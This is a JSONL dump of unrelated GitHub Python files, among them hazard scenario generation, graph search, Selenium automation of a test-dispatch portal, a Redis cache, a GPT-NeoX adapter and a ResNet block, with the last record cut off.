+{"seq_id":"36825391924","text":"# -*- coding: utf-8 -*-\r\n#\r\n# Copyright (c) 2018 Leland Stanford Junior University\r\n# Copyright (c) 2018 The Regents of the University of California\r\n#\r\n# This file is part of the SimCenter Backend Applications\r\n#\r\n# Redistribution and use in source and binary forms, with or without\r\n# modification, are permitted provided that the following conditions are met:\r\n#\r\n# 1. Redistributions of source code must retain the above copyright notice,\r\n# this list of conditions and the following disclaimer.\r\n#\r\n# 2. Redistributions in binary form must reproduce the above copyright notice,\r\n# this list of conditions and the following disclaimer in the documentation\r\n# and/or other materials provided with the distribution.\r\n#\r\n# 3. Neither the name of the copyright holder nor the names of its contributors\r\n# may be used to endorse or promote products derived from this software without\r\n# specific prior written permission.\r\n#\r\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\r\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\r\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\n# POSSIBILITY OF SUCH DAMAGE.\r\n#\r\n# You should have received a copy of the BSD 3-Clause License along with\r\n# this file. If not, see <http://www.opensource.org/licenses/>.\r\n#\r\n# Contributors:\r\n# Kuanshi Zhong\r\n#\r\n\r\nimport os\r\nimport subprocess\r\nimport json\r\nimport random\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom FetchOpenSHA import *\r\n\r\n\r\ndef create_earthquake_scenarios(scenario_info, stations, input_dir=[], output_dir=[], output_format='SimCenterEvent'):\r\n\r\n    # Number of scenarios\r\n    source_num = scenario_info.get('Number', 1)\r\n    if source_num == 'All':\r\n        # Large number to consider all sources in the ERF\r\n        source_num = 10000000\r\n    # Directly defining earthquake ruptures\r\n    if scenario_info['Generator'] == 'Simulation':\r\n        # TODO:\r\n        print('Physics-based earthquake simulation is under development.')\r\n        return 1\r\n    # Searching earthquake ruptures that fulfill the request\r\n    elif scenario_info['Generator'] == 'Selection':\r\n        # Collecting all possible earthquake scenarios\r\n        lat = []\r\n        lon = []\r\n        for s in stations['Stations']:\r\n            lat.append(s['Latitude'])\r\n            lon.append(s['Longitude'])\r\n        # Reference location\r\n        lat = np.mean(lat)\r\n        lon = np.mean(lon)\r\n        ref_station = [lat, lon]\r\n        # Getting earthquake rupture forecast data\r\n        source_type = scenario_info['EqRupture']['Type']\r\n        if source_type == 'ERF':\r\n            source_model = scenario_info['EqRupture']['Model']\r\n            source_name = scenario_info['EqRupture'].get('Name', None)\r\n            min_M = scenario_info['EqRupture'].get('min_Mag', 5.0)\r\n            max_M = scenario_info['EqRupture'].get('max_Mag', 9.0)\r\n            max_R = scenario_info['EqRupture'].get('max_Dist', 1000.0)\r\n            eq_source = getERF(source_model, True)\r\n            erf_data = export_to_json(eq_source, ref_station, outfile = None, \\\r\n                                      EqName = source_name, minMag = min_M, \\\r\n                                      maxMag = max_M, maxDistance = max_R, \\\r\n                                      maxSources = np.max([500, source_num]))\r\n            # Parsing data\r\n            feat = erf_data['features']\r\n            tag = []\r\n            for i, cur_f in enumerate(feat):\r\n                if source_name and (source_name not in cur_f['properties']['Name']):\r\n                    continue\r\n                if min_M > cur_f['properties']['Magnitude']:\r\n                    continue\r\n                tag.append(i)\r\n            # Abstracting desired ruptures\r\n            s_tag = random.sample(tag, min(source_num, len(tag)))\r\n            erf_data['features'] = list(feat[i] for i in s_tag)\r\n            scenario_data = dict()\r\n            for i, rup in enumerate(erf_data['features']):\r\n                scenario_data.update({i: {\r\n                    'Type': source_type,\r\n                    'RuptureForecast': source_model,\r\n                    'SourceIndex': rup['properties']['Source'],\r\n                    'RuptureIndex': rup['properties']['Rupture']\r\n                }})\r\n            # Cleaning tmp outputs\r\n            del erf_data\r\n        elif source_type == 'PointSource':\r\n            scenario_data = dict()\r\n            try:\r\n                magnitude = scenario_info['EqRupture']['Magnitude']\r\n                location = scenario_info['EqRupture']['Location']\r\n                average_rake = scenario_info['EqRupture']['AverageRake']\r\n                average_dip = scenario_info['EqRupture']['AverageDip']\r\n                scenario_data.update({0: {\r\n                    'Type': source_type,\r\n                    'Magnitude': magnitude,\r\n                    'Location': location,\r\n                    'AverageRake': average_rake,\r\n                    'AverageDip': average_dip\r\n                }})\r\n            except:\r\n                print('Please check point-source inputs.')\r\n    # Simulating the earthquake\r\n    elif scenario_info['Generator'] == 'ShakerMaker':\r\n        from imm.ShakerMakerSimulation import ShakerMakerModel\r\n        # initialization\r\n        sm_model = ShakerMakerModel(scenario_info['SimuConfig'], stations['Stations'], input_dir)\r\n        # configuration\r\n        sm_model.model_configuration()\r\n        scenario_data = sm_model\r\n        sm_model.run_simulation(output_dir, output_format)\r\n\r\n    # return\r\n    return scenario_data\r\n\r\n\r\ndef create_wind_scenarios(scenario_info, event_info, stations, data_dir):\r\n\r\n    # Number of scenarios\r\n    source_num = scenario_info.get('Number', 1)\r\n    # Directly defining earthquake ruptures\r\n    if scenario_info['Generator'] == 'Simulation':\r\n        # Collecting site locations\r\n        lat = []\r\n        lon = []\r\n        for s in stations['Stations']:\r\n            lat.append(s['Latitude'])\r\n            lon.append(s['Longitude'])\r\n        # Station list\r\n        station_list = {\r\n            'Latitude': lat,\r\n            'Longitude': lon\r\n        }\r\n        # Track data\r\n        try:\r\n            track_file = scenario_info['Storm'].get('Track')\r\n            df = pd.read_csv(os.path.join(data_dir, track_file), header = None, index_col = None)\r\n            track = {\r\n                'Latitude': df.iloc[:, 0].values.tolist(),\r\n                'Longitude': df.iloc[:, 1].values.tolist()\r\n            }\r\n        except:\r\n            print('CreateScenario: no storm track provided or file format not accepted.')\r\n        # Save Lat_w.csv\r\n        track_simu_file = scenario_info['Storm'].get('TrackSimu', None)\r\n        if track_simu_file:         \r\n            df = pd.read_csv(os.path.join(data_dir, track_simu_file), header = None, index_col = None)\r\n            track_simu = df.iloc[:, 0].values.tolist()\r\n        else:\r\n            track_simu = track['Latitude']\r\n        # Reading Terrain info (if provided)\r\n        terrain_file = scenario_info.get('Terrain', None)\r\n        if terrain_file:\r\n            with open(os.path.join(data_dir, terrain_file)) as f:\r\n                terrain_data = json.load(f)\r\n        else:\r\n            terrain_data = []\r\n        # Parsing storm properties\r\n        param = []\r\n        param.append(scenario_info['Storm']['Landfall']['Latitude'])\r\n        param.append(scenario_info['Storm']['Landfall']['Longitude'])\r\n        param.append(scenario_info['Storm']['LandingAngle'])\r\n        param.append(scenario_info['Storm']['Pressure'])\r\n        param.append(scenario_info['Storm']['Speed'])\r\n        param.append(scenario_info['Storm']['Radius'])\r\n        # Monte-Carlo\r\n        #del_par = [0, 0, 0] # default\r\n        # Parsing mesh configurations\r\n        mesh_info = [1000., scenario_info['Mesh']['DivRad'], 1000000.]\r\n        mesh_info.extend([0., scenario_info['Mesh']['DivDeg'], 360.])\r\n        # Wind speed measuring height\r\n        measure_height = event_info['IntensityMeasure']['MeasureHeight']\r\n        # Saving results\r\n        scenario_data = dict()\r\n        for i in range(source_num):\r\n            scenario_data.update({i: {\r\n                'Type': 'Wind',\r\n                'CycloneParam': param,\r\n                'StormTrack': track,\r\n                'StormMesh': mesh_info,\r\n                'Terrain': terrain_data,\r\n                'TrackSimu': track_simu,\r\n                'StationList': station_list,\r\n                'MeasureHeight': measure_height\r\n            }})\r\n        # return\r\n        return scenario_data\r\n    else:\r\n        print('Currently only supporting Simulation generator.')\r\n","repo_name":"kuanshi/HazardSimulation","sub_path":"CreateScenario.py","file_name":"CreateScenario.py","file_ext":"py","file_size_in_byte":9159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"41487245267","text":"def breadth_first_search(graph, node):\n  if node not in graph: return\n\n  queue = [node]\n  visited = [node]\n\n  while len(queue) > 0:\n    node = queue.pop(0)\n    print(node, end = \" \")\n\n    for neighbor in graph[node]:\n      if neighbor not in visited:\n        visited.append(neighbor)\n        queue.append(neighbor)\n\n\n#key is node, list is neighbors\nsample_graph = {\n  0: [1, 2, 3, 5],\n  1: [2, 3, 5],\n  2: [4, 5],\n  3: [4],\n  4: [5],\n  5: []\n}\n\nbreadth_first_search(sample_graph, 0)","repo_name":"FOSS-UCSC/FOSSALGO","sub_path":"algorithms/gr-bfsrh/python3/breadth_first_search.py","file_name":"breadth_first_search.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"77"}
+{"seq_id":"40967219846","text":"import pandas as pd\nfrom techminer.core import explode\n\n\ndef keywords_coverage(data, column, keywords_list):\n\n    data = data[[column, \"ID\"]].dropna()\n    num_documents = len(data)\n    x = pd.DataFrame({column: keywords_list})\n    x[\"Cum Coverage (Cum Num Documents)\"] = 0\n\n    data[column] = data[column].map(lambda w: w.split(\";\"))\n    data[\"SELECTED\"] = False\n    keywords_list = [\" \".join(keyword.split(\" \")[:-1]) for keyword in keywords_list]\n    x.index = keywords_list\n    for keyword in keywords_list:\n        data[\"SELECTED\"] = data.SELECTED | data[column].map(lambda w: keyword in w)\n        selected = data[data.SELECTED][[\"ID\"]].drop_duplicates()\n        x.loc[keyword, \"Cum Coverage (Cum Num Documents)\"] = len(selected)\n\n    x[\"Cum Coverage (%)\"] = x[\"Cum Coverage (Cum Num Documents)\"].map(\n        lambda w: str(round(100 * w / num_documents, 1)) + \" %\"\n    )\n    x = x.reset_index()\n    x.pop(\"index\")\n    return x\n","repo_name":"jdvelasq/techminer","sub_path":"src/core/keywords_coverage.py","file_name":"keywords_coverage.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"10678621473","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nimport sampler as randc\n\n############################################################################\n# RANDOM COUNTERS\n############################################################################\nbins = 17\nrc = randc.Sampler(np.ones(bins))\nrc.update(.3, 6)\nrc.update(.3, 7)\nrc.update(.5, 1)\nrc.update(.1, bins - 1)\nsampling = []\nfor i in range(10000):\n    sampling.append(rc.sample())\nprint(rc.score_tree)\nplt.hist(sampling, bins=bins)\nplt.show()\n","repo_name":"remilepriol/sdca4crf","sub_path":"test/random_counters_test.py","file_name":"random_counters_test.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"34510334883","text":"\"\"\"\nWrite a Python program that accept a positive number and subtract from this number the sum of its digits and so on. Continues this operation until the number is positive.\n\"\"\"\n\nnum = int(input(\"Enter a number\"))\ndigits = 0\nnum1 = num\nwhile (num != 0):\n    digi = num % 10\n    digits += digi\n    num = num // 10\n# print(digits)\nwhile num1 > 0:\n    num1 = num1 - digits\n    print(num1)\n","repo_name":"shraddhaa43/Python-Interview-Solutions-Repository","sub_path":"Challenge Zone Medium to Hard Level/Q23.py","file_name":"Q23.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7212013091","text":"import sys\nimport os\n\npath_dir = os.getcwd()\nsys.path.insert(0, \"..\")\n#print(sys.path)\n\n\n\"\"\"Selenium Packages\"\"\"\nimport argparse\n\nfrom selenium.common.exceptions import ElementClickInterceptedException, NoSuchElementException, \\\n    ElementNotInteractableException\nfrom selenium.webdriver import Keys\nfrom selenium.webdriver.support import expected_conditions\n\"\"\" \nPage Object classes \nCreated By: Prankur Garg\nDate: 25th May 2022\n\"\"\"\nfrom Cumulative_Reporting.BaseClass import BaseClass\nfrom PageObjectAdiosPlus.AdiosPlusDespatch import AdiosPlusDespatch\nfrom PageObjectAdiosPlus.AdiosPlusHome import AdiosPlusHome\nfrom PageObjectAdiosPlus.AdiosPlusResourcesPage import AdiosPlusResourcesPage\n\n\n\"\"\"Python Package\"\"\"\nimport time\nimport datetime\nimport logging\n\n\nclass AdiosPlusMain(BaseClass):\n    def __init__(self):\n        self._current_time = datetime.datetime.now()\n        self._current_time = self._current_time.strftime(\"%Y%m%d\")\n        self._log_name = \"Adios_run_\" + self._current_time + \".log\"\n        self._logger = logging.getLogger(__name__)\n        self._logger.setLevel(logging.INFO)\n        self._handler = logging.FileHandler(self._log_name)\n        self._logger.addHandler(self._handler)\n        self._formatter = logging.Formatter('%(asctime)s-%(message)s')\n        self._handler.setFormatter(self._formatter)\n\n    def parse_commandline_args(self):\n        parser = argparse.ArgumentParser(description=\"Need to enter test cycle, qual name and team name\")\n        parser.add_argument('--test_cycle', type=str, help=\"Cumulative epack test cycle\", required=True)\n        parser.add_argument('--qual', type=str, help=\"e.g. Cumulative_Epack_<Epack no>\", required=True)\n        parser.add_argument('--team', type = str, help = \"Enter Team Name core/data-services\", required= True)\n        if len(sys.argv[1:]) < 6 or '--test_cycle' not in sys.argv[1:] or '--qual' not in sys.argv[1:] or '--team' not in sys.argv[1:]:\n            self.driver.close()\n            self._logger.error(\"Either parameters were not provided or wrongly given\")\n            parse_args = parser.parse_args()\n            sys.exit(\"Required Parameters were not provided\")\n        teams = [\"core\", \"data-services\"]\n        parse_args = parser.parse_args()\n        self._test_cycle = parse_args.test_cycle\n        self._qual = parse_args.qual\n        self._team = parse_args.team\n        if self._team not in teams:\n            self._logger.error(\"Team name entered is wrong. It should be either core or data-sustaining\")\n            sys.exit(\"Team name entered is wrong. It should be either core or data-sustaining\")\n        self._logger.info(f\"User has entered Test Cycle name as {self._test_cycle} and qual Name as {self._qual}\")\n\n\n    def adios_plus_login(self):\n        self.driver.get(\"http://adiosplus.cec.lab.emc.com/dashboard\")\n        self._home_adios_plus = AdiosPlusHome(self.driver)\n        user_name = self._home_adios_plus.get_user_name()\n        user_name.send_keys(\"gargp6\")\n        user_password = self._home_adios_plus.get_user_password()\n        user_password.send_keys(\"\")\n        submit_button = self._home_adios_plus.submit_button()\n        submit_button.click()\n        self._logger.info(\"User has entered username and password and logging into Adios Page\")\n\n    def navigate_resources_page(self):\n        element = self._home_adios_plus.navigate_resources()\n        self.driver.execute_script(\"arguments[0].click();\", element)\n        self._logger.info(\"We are resource tab of Adios Page\")\n        resource_page = AdiosPlusResourcesPage(self.driver)\n        time.sleep(30)\n        print(AdiosPlusResourcesPage.search_plus)\n\n        self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusResourcesPage.search_plus)))\n\n        self.wait.until(expected_conditions.element_to_be_clickable((AdiosPlusResourcesPage.search_plus)))\n\n        data_services_suites = {\n                  \"Cumulative_Testing_P2\": \"10.60.153.253\",\n                  \"Cumulative_Testing_P3\": \"10.60.153.195\",\n                  \"Defrag_Shrink_SP_Cumulative\": \"10.60.154.6\",\n                  \"LREP_SP_Cumulative\" : \"10.60.154.51\",\n                  \"RDF_SP_Cumulative\" : \"10.60.155.123\",\n                  \"Cumulative_Testing_P1\" : \"10.60.153.202\",\n                  \"Long_Running_Tests_SP_Cumulative\": \"10.60.153.132\",\n                  \"Cumulative_Testing_P4\": \"10.60.153.195\"\n                  }\n\n        core_suites = {\n                    \"ACS DataMobility\" : \"10.60.153.55\",\n                    \"ACT Platform\" : \"10.60.153.55\",\n                    \"ACT Config\" : \"10.60.153.55\",\n                    \"ACT Backend\" : \"10.60.153.55\",\n                    \"ACS_Enginuity Services\" : \"10.60.153.55\"\n                    }\n        self._suites = {}\n        if self._team == \"core\":\n            self._suites = core_suites\n        elif self._team == \"data-services\":\n            self._suites = data_services_suites\n\n        self._dict_value = [value for value in self._suites.values()]\n        self._dict_keys = [value for value in self._suites.keys()]\n        print(self._dict_value)\n        print(self._dict_keys)\n        for host in self._dict_value:\n            try:\n                search = resource_page.search_host()\n                self.driver.execute_script(\"arguments[0].click()\", search)\n                #search.click()\n            except ElementClickInterceptedException:\n                search = resource_page.search_host()\n                search.click()\n            time.sleep(2)\n            self._logger.info(f\"We are adding {host} in resource tab of Adios Page\")\n            self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusResourcesPage.host_name)))\n            try:\n                host_name = resource_page.enter_host_name()\n                host_name.send_keys(host)\n            except NoSuchElementException as ex:\n                self.driver.get_screenshot_as_file(\"Host_error.png\")\n                host_name = resource_page.enter_host_name()\n                host_name.send_keys(host)\n\n            confirm = resource_page.confirm_button()\n            confirm.click()\n            time.sleep(2)\n            self._logger.info(f\"Successfully added {host} in resource tab of Adios Page\")\n\n    def navigate_dispatch(self):\n        element = self._home_adios_plus.navigate_despatch()\n        self.driver.execute_script(\"arguments[0].click();\", element)\n        self._logger.info(f\" Now when we have resources added. Will add suites to Dispatch tab\")\n\n        self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusDespatch.search)))\n        self.wait.until(expected_conditions.element_to_be_clickable((AdiosPlusDespatch.search)))\n\n        despatch_page = AdiosPlusDespatch(self.driver)\n        search_button = despatch_page.search_button()\n        search_button.click()\n\n        handles = self.driver.window_handles\n        self.driver.switch_to.window(handles[0])\n        self._logger.info(\"Navigated to dispatch page of Adios Page\")\n        for suite in self._dict_keys:\n            self.wait.until(expected_conditions.element_to_be_clickable((AdiosPlusDespatch.clear_filter)))\n            clear_button = despatch_page.clear_filter_button()\n            clear_button.click()\n\n            suite_name = despatch_page.enter_suite_name()\n            suite_name.send_keys(suite)\n\n            search_suite = despatch_page.search_suite_button()\n            search_suite.click()\n\n            self._logger.info(f\"Adding suite {suite} to adios Page\")\n\n            self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusDespatch.select_suite)))\n            time.sleep(4)\n\n            select_suite = despatch_page.select_suite_checkbox()\n            select_suite[1].click()\n\n            self.wait.until(expected_conditions.element_to_be_clickable((AdiosPlusDespatch.right_arrow)))\n\n            right_arrow = despatch_page.select_right_arrow()\n            right_arrow.click()\n\n        select_suites = despatch_page.select_all_suites()\n        select_suites[2].click()\n\n        add_suites = despatch_page.add_suites_button()\n        add_suites.click()\n\n        self._logger.info(f\"Successfully added all suites to View\")\n\n        for key, value in self._suites.items():\n            suite_search = despatch_page.search_suite_to_run()\n            self._logger.info(f'Selected suite {key} to run on host {value}')\n            suite_search.send_keys(key)\n\n            try:\n                add_button = despatch_page.suite_add_button()\n            except ElementClickInterceptedException as ex:\n                add_button = despatch_page.suite_add_button()\n            add_button.click()\n\n            try:\n                suite_run = despatch_page.select_suite_to_despatch()\n                suite_run.click()\n            except ElementClickInterceptedException as ex:\n                suite_run = despatch_page.select_suite_to_despatch()\n                suite_run.click()\n            self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusDespatch.test_cycle)))\n\n            test_cycle = despatch_page.test_cycle_input()\n\n            test_cycle.send_keys(self._test_cycle)\n\n            test_cycle.send_keys(Keys.ENTER)\n            time.sleep(1)\n            qual = despatch_page.qual_input()\n\n            qual.send_keys(self._qual)\n\n            qual.send_keys(Keys.ENTER)\n            time.sleep(2)\n\n            host = despatch_page.host_input()\n            host.send_keys(value)\n            host.send_keys(Keys.ENTER)\n            self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusDespatch.host_select_message)))\n\n            message = despatch_page.get_host_message()\n            message = message.text\n            self._logger.info(f' Currently status of host is {message}')\n            if \"Currently validating\" in message:\n                time.sleep(5)\n                message = despatch_page.get_host_message()\n                message = message.text\n                if \"ready to run\" in message:\n                    self._logger.info(f'Despatcher state of Host {value} is ready')\n                    time.sleep(8)\n                    box = despatch_page.select_symm()\n                    box.send_keys(\"OLKCK\")\n                    box.send_keys(Keys.ENTER)\n                    time.sleep(2)\n\n                    self.wait.until(expected_conditions.element_to_be_clickable((AdiosPlusDespatch.run)))\n                    run_button = despatch_page.run_button()\n                    run_button.click()\n\n                    handles = self.driver.window_handles\n                    self.driver.switch_to.window(handles[0])\n                    time.sleep(5)\n                    ok_button = despatch_page.ok_button_function()\n                    ok_button.click()\n                    time.sleep(20)\n                    self.wait.until(expected_conditions.presence_of_element_located((AdiosPlusDespatch.after_run_message)))\n\n                    self.driver.get_screenshot_as_file(f'{key}.png')\n                    time.sleep(30)\n\n                    search_field = despatch_page.search_suite_text_field()\n\n                    clear_suite = despatch_page.clear_search_suite()\n                    clear_suite.click()\n\n                    despatch_page.deselect_suite_link().click()\n                    time.sleep(4)\n\n                else:\n                    self._logger.info(f'Despatcher state of Host {value} is not in ready state')\n                    print(\"host is not in ready state\")\n                    clear_suite = despatch_page.clear_search_suite()\n                    clear_suite.click()\n                    print(\"Clearing suite\")\n                    time.sleep(5)\n\n                    deselect_suite = despatch_page.deselect_suite_link()\n                    deselect_suite.click()\n                    time.sleep(4)\n                    continue\n        self.driver.close()\n\n\nobj = AdiosPlusMain()\nobj.parse_commandline_args()\nobj.adios_plus_login()\nobj.navigate_resources_page()\nobj.navigate_dispatch()\n\n\n\n\n\n","repo_name":"gargprankur/Selenium_Projects","sub_path":"PageObjectAdiosPlus/AdiosPlusMain.py","file_name":"AdiosPlusMain.py","file_ext":"py","file_size_in_byte":12006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11707904240","text":"import redis\nimport logging\nimport time\n\n\nSOCKET_TIMEOUT = 15000\nCONNECTION_MAX_ATTEMPTS = 5\n\n\ndef retry(times):\n    def decorator(func):\n        def wrapper(*args, **kwargs):\n            attempt = 0\n            while attempt < times:\n                try:\n                    return func(*args, **kwargs)\n                except Exception as e:\n                    logging.exception(\"Retry of %s faild: %s\" % (func.__name__, e))\n                    attempt += 1\n                    time.sleep(1)\n            return func(*args, **kwargs)\n\n        return wrapper\n\n    return decorator\n\n\nclass Store(object):\n    def __init__(self, host, port, socket_timeout=SOCKET_TIMEOUT):\n        try:\n            self.r = redis.Redis(host=host, port=port, socket_timeout=socket_timeout)\n        except Exception as e:\n            logging.exception(\"Can't init store: %s\" % e)\n\n    @retry(CONNECTION_MAX_ATTEMPTS)\n    def get(self, key):\n        return self.r.get(key)\n\n    @retry(CONNECTION_MAX_ATTEMPTS)\n    def set(self, key, value, time):\n        self.r.set(key, value, ex=time)\n\n    def cache_get(self, key):\n        try:\n            return self.get(key)\n        except Exception as e:\n            logging.exception(\"Can't get from cache: %s\" % e)\n            return None\n\n    def cache_set(self, key, value, time):\n        try:\n            self.set(key, value, time)\n        except Exception as e:\n            logging.exception(\"Can't set to cache: %s\" % e)\n","repo_name":"tatiana-vakhrameeva/python-course","sub_path":"hw3-1/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5329222844","text":"# Read in assignment input and store in string\nwith open('day3_input') as f:\n    contents = f.read()\n\n# Split input lines into array\ninputArray = contents.splitlines()\npriority = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\nprioritySum = 0\n\n# Itterate through the list, split the input string in half and find the character that appears in each half\n# After identifing the common character, determine it's priority value based on the priority string above \n# the characters priority is its position in the priority string starting with a in position 1\n# Add all of the priorites together\nfor i in inputArray:\n    half = int(len(i)/2)\n    compartmentOne = i[0:half]\n    compartmentTwo = i[half:len(i)]\n    sameItem = ''\n    for i in compartmentOne:\n        position = -1\n        position = compartmentTwo.find(i)\n        if position != -1:\n            sameItem = compartmentTwo[position]\n    prioritySum += priority.find(sameItem)+1\n\n# Print the sum of all priorities\nprint(prioritySum)","repo_name":"davidlukemt/advent-of-code","sub_path":"2022/day3/day3_part1.py","file_name":"day3_part1.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71032475768","text":"import copy\n\nimport torch\nimport torch.nn as nn\n\n\nclass WrapLayer(nn.Module):\n    def __init__(self, layer, max_seq_len):\n        super().__init__()\n        self.layer = layer\n        self.position_ids = nn.Parameter(\n            torch.arange(max_seq_len).unsqueeze(0).view(-1, max_seq_len),\n            requires_grad=False,\n        )\n\n    def forward(self, x):\n        _, seq_len, h = x.shape\n        return self.layer(x, position_ids=self.position_ids[:, :seq_len])[0]\n\n\nclass CastOutputToFloat(nn.Sequential):\n    def forward(self, x):\n        return super().forward(x).to(torch.float32)\n\n\nclass AdapterModel(nn.Module):\n    def __init__(\n        self,\n        pretrained_model,\n        max_seq_len,\n        adapter_size,\n        adapter_dropout=0.1,\n        init_with_existing_tokens=False,\n    ):  # add cast to 8bit param\n        super().__init__()\n        # Copy token embedding layer from the pretrained model\n        vocab_size = pretrained_model.config.vocab_size\n        hidden_size = pretrained_model.config.hidden_size\n        self.token_emb = nn.Embedding(vocab_size, hidden_size)\n        self.token_emb.weight = copy.deepcopy(pretrained_model.gpt_neox.embed_in.weight)\n        self.token_emb.weight.requires_grad = False\n        pretrained_model.gpt_neox.embed_in = None\n\n        # Initialize adapter from normal distribution\n        self.adapter = nn.Parameter(\n            torch.randn(adapter_size, hidden_size) * 0.002, requires_grad=True\n        )\n        self.adapter_dropout = nn.Dropout(adapter_dropout)\n\n        # Freeze pretrained layers\n        for param in pretrained_model.parameters():\n            param.requires_grad = False\n            if param.ndim == 1:\n                # cast the small parameters (e.g. layernorm) to fp32 for stability\n                param.data = param.data.to(torch.float32)\n\n        # Make transformer layers sequential\n        self.transformer_layers = nn.Sequential(\n            *[\n                WrapLayer(layer, max_seq_len)\n                for layer in pretrained_model.gpt_neox.layers\n            ]\n        )\n\n        # Output layers -- cast final output to fp32\n        self.out = nn.Sequential(\n            pretrained_model.gpt_neox.final_layer_norm,\n            CastOutputToFloat(pretrained_model.embed_out),\n        )\n\n    def forward(self, x):\n        bsz, _ = x.shape\n        token_emb = self.token_emb(x)  # bsz, inp_len, embed_dim\n        adapter_emb = self.adapter_dropout(\n            self.adapter.unsqueeze(0).repeat(bsz, 1, 1)\n        )  # bsz, adapter_size, embed_dim\n        seq = torch.cat([adapter_emb, token_emb], dim=1)\n        seq = torch.utils.checkpoint.checkpoint_sequential(\n            self.transformer_layers, 3, seq\n        )\n        return self.out(seq)\n","repo_name":"andersonbcdefg/instruct-pythia-ptuning","sub_path":"adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24060419146","text":"#%%\n# Dependencies and Setup\nimport requests\nimport gmaps\n\n# Import API key\nfrom config import g_key\n\n# %%\n# Set the parameters to search for a hotel in Paris.\nparams = {\n    \"radius\": 5000,\n    \"types\": \"lodging\",\n    \"key\": g_key,\n    \"location\": \"48.8566, 2.3522\"}\n# Use base URL to search for hotels in Paris.\nbase_url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json\"\n# Make request and get the JSON data from the search.\nhotels = requests.get(base_url, params=params).json()\n\n# %%\n# Iterate through the DataFrame.\nfor index, row in hotel_df.iterrows():\n    # Get the latitude and longitude.\n    lat = row[\"Lat\"]\n    lng = row[\"Lng\"]\n\n    # Add the latitude and longitude to the params dictionary as values to the location key.\n    params[\"location\"] = f\"{lat},{lng}\"\n\n    # Use the search term: \"lodging\" and our latitude and longitude.\n    base_url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json\"\n    # Make request and get the JSON data from the search.\n    hotels = requests.get(base_url, params=params).json()\n    # Grab the first hotel from the results and store the name.\n    hotel_df.loc[index, \"Hotel Name\"] = hotels[\"results\"][0][\"name\"]\n\n# %%\n","repo_name":"ebskii52/World_Weather_Analysis","sub_path":"Google_Nearby_Search.py","file_name":"Google_Nearby_Search.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39242225005","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 19 23:13:41 2020\n\n@author: Admin\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n#%%\n# Create a class for a block \nclass block(nn.Module):\n    def __init__(self, in_channels, out_channels, identity_downsample = None, expansion = 1, stride = 1):\n        super(block, self).__init__()\n        self.expanded_outchannels = out_channels * expansion # Borrowing the idea of expansion factor from Resnet50-101-152\n        \n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size = 3, stride = stride, padding = 1)\n        self.bn1 = nn.BatchNorm2d(out_channels)\n        \n        \n        self.conv2 = nn.Conv2d(out_channels, self.expanded_outchannels, kernel_size = 3, stride = 1, padding = 1)\n        self.bn2 = nn.BatchNorm2d(self.expanded_outchannels)\n        \n        self.identity_downsample = identity_downsample\n        \n    def forward(self, x):\n        identity = x\n        x = F.relu(self.bn1(self.conv1(x)))\n        x = F.relu(self.bn2(self.conv2(x)))\n        if self.identity_downsample is not None:\n            identity = self.identity_downsample(identity)\n        # print(\"identity.shape = \", identity.shape)\n        # print(\"x.shape = \", x.shape)\n        x += identity\n        x = F.relu(x)\n        return x\nclass ResNetCIFAR(nn.Module):\n    def __init__(self,image_channels, num_classes, expansion, num_blocks_per_layer = 2):\n        super(ResNetCIFAR, self).__init__()\n        self.in_channels = 16 # meaning this is the first number of channels to upsample to from image_channels\n        self.expansion = 